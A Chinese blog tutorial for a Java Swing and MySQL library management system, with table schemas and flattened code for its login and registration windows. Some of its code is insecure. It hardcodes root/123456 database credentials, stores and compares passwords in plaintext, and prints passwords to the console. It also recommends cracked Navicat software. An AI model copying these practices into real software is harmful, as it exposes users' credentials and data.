java+mysql图书管理系统制作教程v1.0.0完整版

news2024/11/26 22:31:34

本人QQ:2711138299,需要源码的可以加我,附带数据库备份文件,以及建立数据库表

下面是我写在有道云笔记里面的教程,由于复制粘贴后,代码都混乱在一起了,不建议大家观看,所以想看详细教程的也可以加我QQ

反正就是有想法有兴趣的可以+我QQ,一起交流

java图书管理系统+mysql+swing版本

V1.0.1版

P1,简介项目功能:

运行主函数运行程序,进入管理系统的登录界面窗口

数据库表中存储着使用者(登录者)的账号和密码信息,当填入的账号密码与数据库中的任意账号密码信息匹配时,登录成功,显示登录进行中信息窗口

如果没有使用者的账号密码,可点击登录窗口中的注册窗口

注册新登录用户账号需要管理员账号和密码,管理员账号密码在mysql数据库表中存储着

重置信息按钮按下后四个文本框设置为空

注册账号按钮按下后会判断管理员账号密码是否与数据库表中数据一致,数据一致进行下一步判断

下一步判断新增账号信息的账号密码不能为空

新增账号信息的账号密码任一为空弹出失败信息提示窗口

0

如果新增账号密码都不为空,注册账号成功,并关闭注册窗口

0

登录成功后进入图书管理系统的主页面

0

图书管理系统左上角有菜单栏,菜单栏为图书系统和用户管理

图书系统菜单栏选项有四个:增删改查图书信息

四个选项点击后的内容为:图书增删改查的界面,后面将介绍到,此处暂且不提

0

用户管理菜单栏选项有两个:增删用户信息

0

点击新增用户则弹出注册用户账号的注册窗口,以及一个注册失败行为提示窗口

0

注册窗口如同登录窗口演示的注册窗口一样

0

点击删除用户,会弹出删除用户信息的操作界面,以及一个操作失败行为的提示窗口

0

删除界面

必须输入用户账号ID并点击查询用户按钮查询用户账号的账号字符串,查询到之后才能进行后续操作

0

这边管理员账号密码文本域以及文本框处于未激活状态

删除账号会在查询用户成功后激活使用

0

查询到用户账号信息后需要输入管理员账号密码,才可成功删除用户账号信息

点击删除账号无响应为删除账号失败

用户账号信息删除成功显示成功信息

0

在图书管理系统的主界面存在四个选项:增删改查图书信息

0

点击图书查询按钮,进入图书查询界面

0

该查询窗口默认显示所有数据库图书表中的所有信息以便预览和其他操作

此窗口的文本框为空时,按下图书查询按钮时显示所有图书信息

该查询使用模糊查询方法,以图书名称为基准模糊查询,只要含有输入的文本内容都会被查询出来,

图书名称填入文本框后点击图书查询,即可查出符合条件的文本信息

0

0

点击图书修改按钮,进入图书修改主界面

0

修改图书信息按钮为不可使用状态

需要输入需要修改图书的ID,输入ID后查询书名,第二行的文本框显示图书名称后,最下面的"修改图书信息"按钮才可激活使用

0

点击"修改图书信息"按钮,弹出修改图书信息窗口以及一个修改失败行为提示窗口

0

修改图书信息的文本框均不能为空,任意一个为空,则图书修改失败

0

并且图书的价格与数量不为负数,任意一项为负数,弹出错误原因提示窗口

0

0

修改信息不为空且无负数,修改成功,显示修改成功信息窗口

0

0

我们修改的是ID为23的书籍内容,名称改为了CSDN

查询一下信息

0

id为24的图书名称为图书14,我们改为CSDN2测试下

0

0

0

查询数据查看ID为24的图书名称是否为CSDN2

0

此处修改成功

点击图书删除按钮,打开删除图书界面

0

依旧是确认删除的按钮不可用

输入ID可查询到数据后,显示图书名称信息,激活确认删除按钮

0

点击确认删除,弹出删除成功的提示窗口

0

查询图书信息查看刚才的ID为24的CSDN2是否被删除

0

图书ID为24的图书CSDN2已经删除成功

点击图书添加按钮,进入图书新增界面窗口,并显示添加失败的行为提示窗口

0

0

新增图书的信息框不能存在一个空框,即不可新增含有空白信息的图书信息至数据库

并且图书价格与图书数量框中不能出现负数,出现负数时会弹出新增图书失败的错误信息窗口

0

新增图书信息中的内容全部符合要求,则新增图书成功

未新增图书时,图书的编号最大为68

0

图书CSDN3新增入管理系统后,图书的最大编号为69

0

0

数据库中的内容

数据库图形化界面软件使用 navicat for mysql 破解版

我的mysql配置为:

账号 root

密码123456

数据库连接配置

String url = "jdbc:mysql://localhost:3306/booksystem";

String user = "root";

String password = "123456";

该管理系统与mysql中的数据库booksystem对接

在navicat for mysql中建立数据库时使用的配置信息为

0

数据库名称为booksystem

创建时:

数据库名 booksystem

字符集:utf8mb4

排序规则:utf8mb4_unicode_ci

数据库中3个表:t_user表和t_book表还有t_admini表

t_user表数据分为:

0

username 类型:varchar 长度255 小数点 0 不是null

id 类型:int 长度255 小数点 0 不是null 主键

password 类型:varchar 长度255 小数点 0 不是null

t_book表数据为:

0

id 类型: int 长度0 小数点 0 不是null 主键

bookname 类型: varchar 长度255 小数点 0 不是null

bookauthor 类型: varchar 长度255 小数点 0 不是null

bookprice 类型: decimal 长度10 小数点 2 不是null

bookamount 类型: int 长度0 小数点 0 不是null

booktype 类型: varchar 长度255 小数点 0 不是null

t_admini表数据为:

0

id 类型:int 长度 0 小数点 0 不是null 主键 自动递增

admini 类型:varchar 长度255 小数点0 不是null

admpass 类型:varchar 长度255 小数点0 不是null

//不知道为什么数据库中字母都是小写,全部写成小写

MySql数据库文件备份导出,导入的操作:

mysql备份数据库:

备份数据库:

使用mysqldump工具来备份你的数据库。这将创建一个包含数据库结构和数据的SQL文件。

mysqldump -u [username] -p[password] [database_name] > backup.sql

注意:不要在-p和密码之间留空格。当命令执行时,它会提示你输入密码。

mysql导入数据库

使用命令行工具:

退出MySQL命令行工具,然后使用以下命令导入SQL文件:

mysql -u [用户名] -p[密码] [数据库名] < [备份文件路径]

注意:在-p和密码之间没有空格。如果您不想在命令行中直接提供密码,可以只使用-p(不带密码),这样命令行工具会提示您输入密码。

javaswing+mysql图书管理系统功能界面代码演示完毕

P1:

P1,数据库表的创建

数据库连接配置

String url = "jdbc:mysql://localhost:3306/booksystem";

String user = "root";

String password = "123456";

使用 navica for mysql软件创建数据库

数据库名称为 booksystem

字符集使用 utf8mb4

排序规则使用 utf8mb4_unicode_ci

0

在该booksystem数据库中创建3个表

t_user t_book t_admini

表格的创建信息

数据库中3个表:t_user表和t_book表还有t_admini表

t_user表数据分为:

0

username 类型:varchar 长度255 小数点 0 不是null

id 类型:int 长度255 小数点 0 不是null 主键

password 类型:varchar 长度255 小数点 0 不是null

t_book表数据为:

0

id 类型: int 长度0 小数点 0 不是null 主键

bookname 类型: varchar 长度255 小数点 0 不是null

bookauthor 类型: varchar 长度255 小数点 0 不是null

bookprice 类型: decimal 长度10 小数点 2 不是null

bookamount 类型: int 长度0 小数点 0 不是null

booktype 类型: varchar 长度255 小数点 0 不是null

t_admini表数据为:

0

id 类型:int 长度 0 小数点 0 不是null 主键 自动递增

admini 类型:varchar 长度255 小数点0 不是null

admpass 类型:varchar 长度255 小数点0 不是null

//后续添加用户表,管理员表,图书表信息至数据库

P1 end

P2 :

P2,创建登录窗口

//登录窗口类:****************

登录窗口的类名为Enter ,继承JFrame窗体类

声明该窗口需要使用的组件

private JTextField textField;//账号文本框 private JPasswordField jPassword;//密码文本框 private JLabel jLabel ;//账号文字 private JLabel jLabel2 ;//密码文字 private JButton b1;//按钮1 账号登陆 private JButton b2;//按钮2 账号注册 private Register register;//注册窗口声明 private String account; //账号字符串 private String password;//密码字符串

在该类中创建一个类方法initFrame(),以便后续调用

在该类方法中设置窗体标题,窗体大小,窗体布局方式,设置不可改变窗体大小,设置窗体居中显示,设置窗体关闭方式,设置窗体可见,账号密码文本框设置最大长度的限制,该限制需要另外一个类JTextFieldLimit,

账号文本框默认有文字,点击该文本框后实现置空,设置密码不可见为***字符,并设置其它全部组件的位置大小格式,并为按钮1和按钮2设置鼠标监听事件,

setTitle("登录");//设置窗口标题 setSize(400,280);//设置窗口大小 setLayout(null);//设置窗口布局 setResizable(false);//设置窗口是否可以改变大小 this.setLocationRelativeTo(null);//窗口居中显示 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//窗体关闭方式 setVisible(true);//设置窗口可见 textField = new JTextField();//账号文本框 jPassword = new JPasswordField();//密码文本框 textField.setDocument(new JTextFieldLimit(15)); jPassword.setDocument(new JTextFieldLimit(15)); textField.setText("请输入你的账号");//设置账号文本框中的文本信息 remove(textField);//点击消失方法 jPassword.setEchoChar('*');//设置密码不可见 textField.setBounds(120,40,200,30);//账号文本框位置大小设定 jPassword.setBounds(120,90,200,30);//密码文本框位置大小设定 jLabel = new JLabel("账号");//显示账号文字 jLabel2 = new JLabel("密码");//显示密码文字 Font font = new Font("Serif",Font.BOLD,22);//设置文字大小 jLabel.setFont(font);//应用账号文字大小 jLabel2.setFont(font);//应用密码文字大小 jLabel.setBounds(50,4,50,100);//账号文本框位置大小设定 jLabel2.setBounds(50,55,50,100);//密码文本框位置大小设定 b1 = new JButton("登陆");//登陆按钮 b2 = new JButton("注册");//注册按钮 b1.setSize(80,40);//设置按钮1登陆按钮大小 b2.setSize(80,40);//设置按钮2注册按钮大小 b1.setLocation(80,150);//设置按钮1登陆按钮位置 b2.setLocation(225,150);//设置按钮2注册按钮位置 b1.setFont(font);//设置按钮1字体大小 b2.setFont(font);//设置按钮2字体大小 add(jLabel);//添加账号文字至窗口 add(jLabel2);//添加密码文字至窗口 add(textField);//添加账号文本框至窗口 add(jPassword);//添加密码文本框至窗口 add(b1);//添加登录按钮到窗口 add(b2);//添加注册按钮到窗口 repaint();//重绘画面 b1.addActionListener(listener);//给按钮1登录按钮添加监听事件 b2.addActionListener(listener2);//给按钮2注册按钮添加监听事件

以下这个类方法就是上一个方法账号文本框置空的方法

void remove(JTextField textField) {//鼠标监听,点击文本框后文本信息消失 textField.addMouseListener(new MouseAdapter() {//添加鼠标监听 @Override public void mouseClicked(MouseEvent e) {//重写鼠标单击事件方法 //清除文本框中的文本 textField.setText("");//设置文本框内容为空字符串 } }); }//remove END

以下两个类为获取账号文本框内容信息与获取密码文本框内容信息:

String gain(JTextField textField) {//获得账号文本框的内容信息 String text = textField.getText();//获取账号文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回账号框中的内容 } String gain2(JPasswordField jPassword) {//获取密码文本框中的内容 char[] text = jPassword.getPassword();//获取密码框字符数集 String password = String.valueOf(text);//将字符数集转化为字符串 return password;//返回密码框中的内容 }

以下两个类上述窗口中的按钮1和按钮2事件监听器的内容

前者为获取账号密码两个文本框中的内容与数据库表t_user中的信息进行比对

比对成功则显示登录成功窗口,并设置登录窗体隐藏

从两个文本框获取的信息内容传入类方法jdbc();方法中,判断是否与数据库表t_user表中的信息相同,

如果相同则显示登录成功,并设置登录窗体隐藏,此处创建了登录成功信息窗口,后面介绍该窗口

后者为注册用户账号信息内容,点击后判断注册用户的窗口是否存在,静态变量为0表示不存在,如果注册窗口不存在则创建窗口,反之不创建,此处创建了注册窗口,后面介绍注册窗口

ActionListener listener = new ActionListener() {//添加事件监听 @Override public void actionPerformed(ActionEvent e) {//重写方法 account= gain(textField);//调用获取账号文本框信息 System.out.println("您输入的账号为" + account);//输出用户输入的账号 password = gain2(jPassword);//获取密码框中的内容信息 System.out.println("您输入的密码为:" + password);//输出用户输入的密码 while(jdbc(account,password)) { //创建的账号密码传送jdbc方法中进行账号密码验证 new Succeed().succeed(); //如果jdbc()方法返回true,则显示登录成功画面 setVisible(false);//设置此登录窗口隐藏 break;//退出验证账号密码信息循环 } } };//listener END ActionListener listener2 = new ActionListener() {//添加事件监听 @Override public void actionPerformed(ActionEvent e) {//重写方法 //register = new Register();//注册窗口创建 //register.register();//调用注册窗口构造方法,使窗口创建 if(MainAp.staticdata.countreg == 0) {//如果注册窗口不存在,按下此按钮弹出注册窗口 new Register().register(); //显示注册窗口 } } };//listener END

//上述内容中,将从文本框获取到的账号密码信息与数据库表t_user表中的信息进行比对

比对成功返回true,比对失败返回false

查询数据信息并与传入该方法中的局部参数比对,比对成功返回true,对比失败返回false;

实现同等功能亦可;

//以下代码会将输入的账号密码信息与数据库中的账号密码信息进行比较,比较成功则完成登陆 boolean jdbc(String account,String password){//定义jdbc连接数据库方法 // JDBC驱动程序名称及URL String driver = "com.mysql.cj.jdbc.Driver"; String url = "jdbc:mysql://localhost:3306/booksystem"; // 数据库登录信息 String username = "root"; String Password = "123456"; Connection conn = null; Statement stmt = null; ResultSet rs = null; ResultSet rs2 = null; try { //2.注册驱动 Class.forName(driver); //3.获取数据库连接对象 conn = DriverManager.getConnection(url,username,Password); //5.获取执行sql的对象 Statement,创建Statement对象 stmt = conn.createStatement(); //执行sql String sql = "SELECT username,password FROM t_user";//sql语句 rs = stmt.executeQuery(sql);//获取查询语句执行结果 while (rs.next()) {//查询结果rs遍历,循环输出 String name = rs.getString("username");//获取从数据库查询到的用户信息至name属性 //System.out.println(" 遍历结果的Name: " + name);//输出打印该数据库中name的信息 String password2 =rs.getString("password");//获取从数据库查询到的密码信息至password2属性 //System.out.println("数据库中的密码为" + password2);//输出打印该数据库中password信息 if(account.equals("")) {//如果账号框为空执行此if中的内容 System.out.println("请输入账号");//输出警告信息 }else if(password.equals("")) {//如果密码框为空执行此if中的内容 System.out.println("请输入密码");//输出警告信息 } while(account.equals(name)) {//循环判断用户输入账号与数据库中查询得到的账号信息是否相同 if(password2.equals(password)) {//如果用户输入的密码与数据库中的密码相同进入此if中 System.out.println("登录成功");//提示用户登录成功 System.out.println("password:" + password2);//输出用户输入的正确密码 return true;//返回ture,以便其它循环使用 } break;//输入的账号正确,密码不正确,需要从此break语句跳出while循环 } //为以后恢复数据保留该条语句 System.out.println("登录失败,请重新输入");//账号密码为空或输如的账号密码不在数据库中,输出此警告信息 } System.out.println("登录失败,请重新输入");//账号密码为空或输如的账号密码不在数据库中,输出此警告信息 return false;//信息不正确,返回false,以便其它循环条件的使用 } catch (SQLException | ClassNotFoundException e) { e.printStackTrace();//打印异常信息 }finally { try { if (stmt!=null){//如果stmt不为空,释放此资源 //8.释放资源 stmt.close(); //关闭Statement对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//打印异常信息 } try { if (conn!=null){//如果conn不为空,释放此资源 conn.close();//关闭数据库连接对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//抛出异常信息 } } return false; }//JDBC end

文本框设置长度上限的类:

此类在登录窗口的文本框中有使用

package com.book.one; import javax.swing.text.AttributeSet; import javax.swing.text.BadLocationException; import javax.swing.text.PlainDocument; public class JTextFieldLimit extends PlainDocument { //设置JTextField的上限,百度到的方法 private int limit; //限制的长度 public JTextFieldLimit(int limit) { super(); //调用父类构造 this.limit = limit; } public void insertString(int offset, String str, AttributeSet attr) throws BadLocationException { if(str == null) return; //下面的判断条件改为自己想要限制的条件即可,这里为限制输入的长度 if((getLength() + str.length()) <= limit) { super.insertString(offset, str, attr);//调用父类方法 } } }

登录成功后的提示等待框,此等待框可以不写,跳过等待直接登录主界面;

package com.book.one; import java.awt.Font; import java.util.concurrent.Executors; import java.util.concurrent.ScheduledExecutorService; import java.util.concurrent.TimeUnit; import javax.swing.JFrame; import javax.swing.JLabel; public class Succeed extends JFrame{ private JLabel jLabel ;//登录成功的提示 private JLabel jLabel2 ;//登陆所需时长的提示 void succeed() { setTitle("登录成功");//设置窗口标题 setSize(400,280);//设置窗口大小 setLayout(null);//设置窗口布局 setResizable(false);//设置窗口是否可以改变大小 this.setLocationRelativeTo(null);//窗口居中显示 setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); setVisible(true);//设置窗口可见 jLabel = new JLabel("您已经成功登录");//文本域,登录成功的信息 jLabel2 = new JLabel("将在五秒后登陆");//文本域,登录显示延迟时间的信息 Font font = new Font("Serif",Font.BOLD,22);//设置文字大小 jLabel.setFont(font);//应用账号文字大小 jLabel2.setFont(font);//应用账号文字大小 jLabel.setBounds(116,-24,200,200);//设置成功信息文字的大小和位置 jLabel2.setBounds(116,34,200,200);//设置成功登陆延迟时间文字的大小和位置 add(jLabel);//添加文字文本域至窗口 add(jLabel2);//添加文字文本域至窗口 repaint();//刷新重绘 ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);//定时器任务方法,网上查询到的 executor.schedule(new Runnable() { @Override public void run() { setVisible(false);//设置注册窗口隐藏 new MainAp().mframe();//创建图书管理系统的主窗体 } }, 5, TimeUnit.SECONDS); // 五秒钟后执行任务 executor.shutdown(); } }

注册窗口类 Register 继承JFrame窗体;

先声明要使用的组件信息

//amount方法中的声明项 private JLabel jLblank;//"账号注册信息中不能有空框"文本域声明 private JButton bdef;//"账号注册信息中不能有空框"弹出窗的确定按钮 private String addAccount;//新注册的账号 private String addPass;//新注册账号的密码 private String account; //管理员账号字符串 private String password;//管理员密码字符串 Font font2 = new Font("Serif", Font.BOLD, 28);//设置文字大小 private JButton bre;//按钮1 重置为空信息 private JButton blog;//注册按钮 的声明 private JLabel jLaccount;//请输入您的账号 private JLabel jLpass;//请输入您的密码 private JLabel jLaccount2;//请输入管理员的账号 private JLabel jLpass2;//请输入管理员的密码 private JTextField textField;//文本框,信息为输入的注册账号 private JTextField textField2;// 文本框,信息为输入的注册账号的密码 private JTextField jAdmini;//文本框,信息为输入的管理员账号 //private JTextField textField4;//文本框,信息为输入的管理员密码 private JPasswordField jPassword;//密码文本框 管理员密码用这个

以下的注册窗口方法,设置注册窗口已经存在,完成窗体的创建,并设置各个组件的大小位置格式,并为按钮添加事件监听器,重置信息按钮让文本框全部置空,关闭注册窗口时,让窗口是否存在的判断设置为0,即不存在窗口的判断,为下次创建提供可能

void register() { MainAp.staticdata.countreg = 1; setTitle("注册");//设置窗口标题 setSize(500,440);//设置窗口大小 setLayout(null);//设置窗口布局 setResizable(false);//设置窗口是否可以改变大小 this.setLocationRelativeTo(null);//窗口居中显示 // setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE);//窗体关闭方式 setVisible(true);//设置窗口可见 jLaccount = new JLabel("账号");//实例化账号文本域,并为账号文本域赋值 jLaccount.setFont(font2);//设置账号文本域的文字的大小格式 jLaccount.setBounds(60,20,220,55);//账号文本域的位置大小设置 jLpass = new JLabel("密码");//实例化密码文本域,并为密码文本域赋值 jLpass.setFont(font2);//设置密码文本域的字体大小格式 jLpass.setBounds(59,95,220,55);//密码文本域的位置大小设置 jLaccount2 = new JLabel("管理员账号");//实例化文本域 管理员账户文本域 jLaccount2.setFont(font2);//管理员账号文本域文字大小格式设置 jLaccount2.setBounds(0,160,220,55);//设置管理员账号文本域的位置大小 jLpass2 = new JLabel("管理员密码");//实例化文本域 管理员密码文本域 jLpass2.setFont(font2);//管理员密码文本域字体大小设置 jLpass2.setBounds(0,230,220,55);//设置管理员密码文本域的位置大小 add(jLpass2);//将“管理员密码”文本域添加到窗口 add(jLaccount2);//将“管理员账户”文本域添加到窗口 add(jLpass);//将“密码”文本域添加到窗口 add(jLaccount); //将"账号"文本域添加到窗口 textField = new JTextField();//实例化文本框,该文本框为 输入的账号 textField.setFont(font2);//为文本框设置字体大小格式 textField.setBounds(150,20,280,55);//账号文本框的位置大小设置 textField2 = new JTextField();//实例化密码文本框,该文本框为 输入的密码 textField2.setFont(font2);//为密码文本框设置文字大小格式 textField2.setBounds(150,95,280,55);//密码文本框位置大小格式 jAdmini = new JTextField();//管理员账户文本框实例化文本框对象 jAdmini.setFont(font2);//管理员账号文本框设置字体大小格式 jAdmini.setBounds(150,160,280,55);//管理员账户文本框大小位置 jPassword = new JPasswordField();//管理员密码文本框 实例化文本框对象 jPassword.setFont(font2);//管理员密码文本框 字体大小格式的设置 jPassword.setBounds(150,230,280,55);//管理员密码文本框大小位置 add(textField);//将账号文本框添加到窗口 add(textField2);//将密码文本框添加到窗口 add(jAdmini);//将管理员账号文本框添加到窗口 add(jPassword);//将管理员密码文本框添加到窗口 bre = new JButton("重置信息");//按钮实例化,按钮为重置注册信息按钮 bre.setFont(font2);//重置按钮文字大小格式的设置 bre.setBounds(40,310,170,55); blog = new JButton("注册账号");//注册账户的按钮 实例化 blog.setFont(font2);//注册账户的按钮字体大小格式设置 blog.setBounds(270,310,170,55); add(blog);//将注册按钮添加到窗口中 add(bre);//将重置按钮添加到注册窗口中 blog.addActionListener(listener);//给注册账号按钮添加监听事件 repaint();//窗口重绘 bre.addMouseListener(new MouseListener() {//为重置按钮添加鼠标监听器 @Override public void mouseClicked(MouseEvent e) {//添加鼠标单击事件 textField.setText("");//将账号文本框设置为空 textField2.setText("");//将密码文本框设置为空 jAdmini.setText("");//将管理员账号文本框设置为空 jPassword.setText("");//将管理员密码文本框设置为空 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countreg = 0; //countreg注册窗口是否存在 ,重置为0,表示不存在 } }); }//register注册方法 end

以下为获取文本框内容的工具类

//以下为获取文本框信息的方法 String gain(JTextField textField) {//获得账号文本框的内容信息 String text = textField.getText();//获取账号文本框中的内容信息 //System.out.println("获取文本框内容");//提示信息 return text;//返回账号框中的内容 } String gain2(JPasswordField jPassword) {//获取密码文本框中的内容 char[] text = jPassword.getPassword();//获取密码框字符数集 String password = String.valueOf(text);//将字符数集转化为字符串 return password;//返回密码框中的内容 }

为注册按钮添加事件监听事件,将数据库表t_admini管理员账号密码与注册窗口中获取的管理员账号密码进行比较,比较成功,进入后续代码的执行,updata3()方法判断新增用户账号密码信息是否为空,为空的话抛出异常停止后续代码的执行

ActionListener listener = new ActionListener() {//添加事件监听 @Override public void actionPerformed(ActionEvent e) {//重写方法 account= gain(jAdmini);//调用此方法获取管理员账号文本框信息 System.out.println("您输入的账号为" + account);//输出管理员用户输入的账号 password = gain2(jPassword);//获取管理员密码框中的内容信息 System.out.println("您输入的密码为:" + password);//输出管理员用户输入的密码 addAccount = gain(textField);//将从新注册账号的账号文本框获取的文本信息赋值到已经声明的注册账号字符串中 addPass = gain(textField2);//将从新注册账号的密码文本框获取的文本信息赋值到已经声明的注册账号的密码字符串中 if(jdbc2(account,password)) { //管理员账号密码和数据库横纵的密码进行比对 updata3(addAccount,addPass); MainAp.staticdata.countreg = 0;//设置此注册窗口不存在,重置为0方便下次创建 dispose(); } } };//listener END

管理员账号密码比对判断的jdbc()方法,比对成功返回true,反之返回false

可以创建自己版本的对比管理员账号密码信息的方法,关键是要账号和密码的局部参数

//以下代码为复制粘贴内容,源码在Enter中,有所更改,while循环变为if boolean jdbc2(String account,String password){//定义jdbc连接数据库方法 // JDBC驱动程序名称及URL String driver = "com.mysql.cj.jdbc.Driver"; String url = "jdbc:mysql://localhost:3306/booksystem"; // 数据库登录信息 String username = "root"; String Password = "123456"; Connection conn = null; Statement stmt = null; ResultSet rs = null; try { //2.注册驱动 Class.forName(driver); //3.获取数据库连接对象 conn = DriverManager.getConnection(url,username,Password); //5.获取执行sql的对象 Statement,创建Statement对象 stmt = conn.createStatement(); //执行sql String sql = "SELECT admini,admpass FROM t_admini";//sql语句 rs = stmt.executeQuery(sql);//获取查询语句执行结果 while (rs.next()) {//查询结果rs遍历,循环输出 String name = rs.getString("admini");//获取从数据库查询到的用户信息至name属性 String password2 =rs.getString("admpass");//获取从数据库查询到的密码信息至password2属性 //此处为判断传进来的账号密码信息是否与查询数据库中信息是否一致 //password2接受了数据库中的密码信息,与传参进来的password进行比较 //account为传参进来的账号信息,与数据库查询到的账号信息name进行比较 if(password2.equals(password)&&account.equals(name)) {//如果用户输入的密码与数据库中的密码相同进入此if中 System.out.println("管理员账号登录成功");//提示用户登录成功 System.out.println("管理员密码password:" + password2);//输出用户输入的正确密码 return true;//返回ture } } System.out.println("登录失败,请重新输入");//账号密码为空或输如的账号密码不在数据库中,输出此警告信息 return false;//信息不正确,返回false,以便其它循环条件的使用 } catch (SQLException | ClassNotFoundException e) { e.printStackTrace();//打印异常信息 }finally { try { if (stmt!=null){//如果stmt不为空,释放此资源 //8.释放资源 stmt.close(); //关闭Statement对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//打印异常信息 } try { if (conn!=null){//如果conn不为空,释放此资源 conn.close();//关闭数据库连接对象 } } catch (SQLException throwables) {//出现异常后执行的代码 throwables.printStackTrace();//抛出异常信息 } } return false; }//JDBC end

判断管理员账号密码正确,新增账号密码信息到数据库表的方法,新增账号密码不能为空,为空抛出异常停止后续代码的执行,如果新增账号信息成功则创建成功窗口提示,此窗口只能存在一个,需要进行是否存在的判定

//实现获得信息并将信息更新进数据库的方法 void updata3(String addname2,String addpass2) {//新增数据库表信息,为使用者账号和密码 // 数据库连接配置 String url = "jdbc:mysql://localhost:3306/booksystem"; String user = "root"; String password = "123456"; { try { // 加载数据库驱动 Class.forName("com.mysql.cj.jdbc.Driver"); // 建立连接 Connection con = DriverManager.getConnection(url, user, password); //填上管理员密码后的新增账号空框提示 //注册信息不能为空,测试异常 if(addname2.equals("")||addpass2.equals("")){//如果任意项为空则抛出异常,停止后续代码的执行,防止空值进入数据库 System.out.println("账号密码不为空"); throw new Exception();//如果信息为空抛出异常停止以后的代码执行 } // //图书数量与不为0: // if(bookamount < 0||bookprice.compareTo(bokamount)<0){//与声明的数量为0进行比较 // throw new RuntimeException();//如果信息为空抛出异常停止以后的代码执行 // } //使用PreparedStatement // 准备SQL语句 String sqladd = "INSERT INTO t_user (username, password) VALUES (?, ?)"; PreparedStatement preparedStatement = con.prepareStatement(sqladd); // 4. 设置参数值 preparedStatement.setString(1, addname2);//为第1个问号赋值 preparedStatement.setString(2, addpass2);//为第2个问号赋值 int rowsAffected = preparedStatement.executeUpdate(); if(rowsAffected == 1){//如果所有新增成功了就执行以下代码,弹出成功窗口 System.out.println("注册账号成功");//在控制台输出"注册成功" if(MainAp.staticdata.countregwin == 0){//检查成功窗口是否为一个 win(); } } // 关闭资源 // rs.close(); preparedStatement.close(); con.close(); } catch (ClassNotFoundException | SQLException e) { e.printStackTrace(); } catch (RuntimeException e) { //amount(); throw new RuntimeException(e); } catch (Exception e) { amount(); throw new RuntimeException(e); } } }//updata2() end

注册成功后弹出的注册常规的消息框

该窗体实例化了用于提示的组件,并设置了大小位置格式,并在窗口关闭时设置窗口不存在,方便以后创建,故该窗口只能存在一个,本项目所有的只能存在一个窗口的容器均设置了判断是否已经存在方法

//注册成功后弹出的注册成功的消息窗 void win(){ MainAp.staticdata.countregwin = 1;//本窗体是否已经存在以及只能存在一个该窗体的判断代码//此处为注册成功信息成功 JButton win;//声明一个按钮 JLabel jLabel ;//注册成功的提示 JFrame jwin = new JFrame();//创建一个窗体对象 jwin.setTitle("注册账号信息成功"); jwin.setLayout(null);//设置窗体布局管理器为绝对布局 jwin.setSize(400,280);//设置窗体大小 jwin.setLocationRelativeTo(null);//窗口居中显示 jwin.setResizable(false);//设置窗口是否可以改变大小 jLabel = new JLabel("注册账号信息成功");//实例化文本域 win = new JButton("确定");//实例化一个按钮。确认注册成功的按钮 win.setFont(font2);//设置按钮字体大小样式 jLabel.setFont(font2);//设置文本域字体大小样式 jLabel.setBounds(76,-28,250,200);//设置成功信息文字的大小和位置 win.setBounds(96,134,180,55);//设置确定按钮的大小和位置 jwin.add(win);//添加确认按钮到窗体 jwin.add(jLabel);//将文本域加入到成功窗体中 jwin.setVisible(true);//设置弹出的窗体可见 win.addMouseListener(new MouseListener() {//定义注册成功窗口中按钮的监听事件 @Override public void mouseClicked(MouseEvent e) {//鼠标单击事件 jwin.dispose();//jwin窗体关闭 MainAp.staticdata.countregwin = 0;//将验证是否存在此窗口的判断重置为0,方便下次再次弹出成功信息窗口 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); //设置窗体关闭执行的代码 jwin.addWindowListener(new WindowAdapter() {//添加窗体监听器 public void windowClosing(WindowEvent e) {//窗口关闭时执行的代码 super.windowClosing(e); MainAp.staticdata.countregwin = 0; //countup重置为0 } }); } //win end

注册的文本框中不能有空文本框

该文本框实例化了用于显示信息的组件,并设置了这些组件的大小格式位置

实际上并不太需要这个窗口,做一个相同提示框亦可

//注册信息中不能有空缺文本框 void amount(){ JFrame jframeamount = new JFrame(); //注册账号信息框中不能有空,提示框 jframeamount.setSize(410, 200);//设置窗体大小 jframeamount.setTitle("注册内容不能为空"); jframeamount.setLocationRelativeTo(null);//窗口居中显示 jframeamount.setResizable(false);//设置窗口是否可以改变大小 jframeamount.setLayout(null);//设置窗体布局为绝对布局 jframeamount.setVisible(true);//设置窗体可见 jframeamount.setAlwaysOnTop(true);//设置窗口前置 jLblank = new JLabel("账号注册信息中不能有空框");//实例化文本域信息,并初始化信息内容 jLblank.setFont(font2);//修改提示信息文本域的字体大小格式 jLblank.setBounds(10,15,400,55);//设置信息文本域出现的位置以及大小 jframeamount.add(jLblank);//添加文本域到此窗口 bdef = new JButton("确认信息");//实例化按钮对象并初始化按钮信息 bdef.setFont(font2);//设置按钮文字大小格式 bdef.setBounds(100,75,180,55); jframeamount.add(bdef); //按下按钮关闭窗口 bdef.addMouseListener(new MouseListener() { @Override public void mouseClicked(MouseEvent e) { //按钮单击事件 jframeamount.dispose(); //退出此窗口 } @Override public void mousePressed(MouseEvent e) { } @Override public void mouseReleased(MouseEvent e) { } @Override public void mouseEntered(MouseEvent e) { } @Override public void mouseExited(MouseEvent e) { } }); }//amount END

P2 end

P3

P3,图书管理系统主界面

图书管理系统主界面MainAp类 继承JFrame窗体类

该方法区块首先写入了定义菜单栏的信息内容

包括了组件的创建,以及为选项添加事件监听器监听事件

图书的增删改查,用户账号的增删,选项的单击事件

单击事件即为创建增删改查的窗口

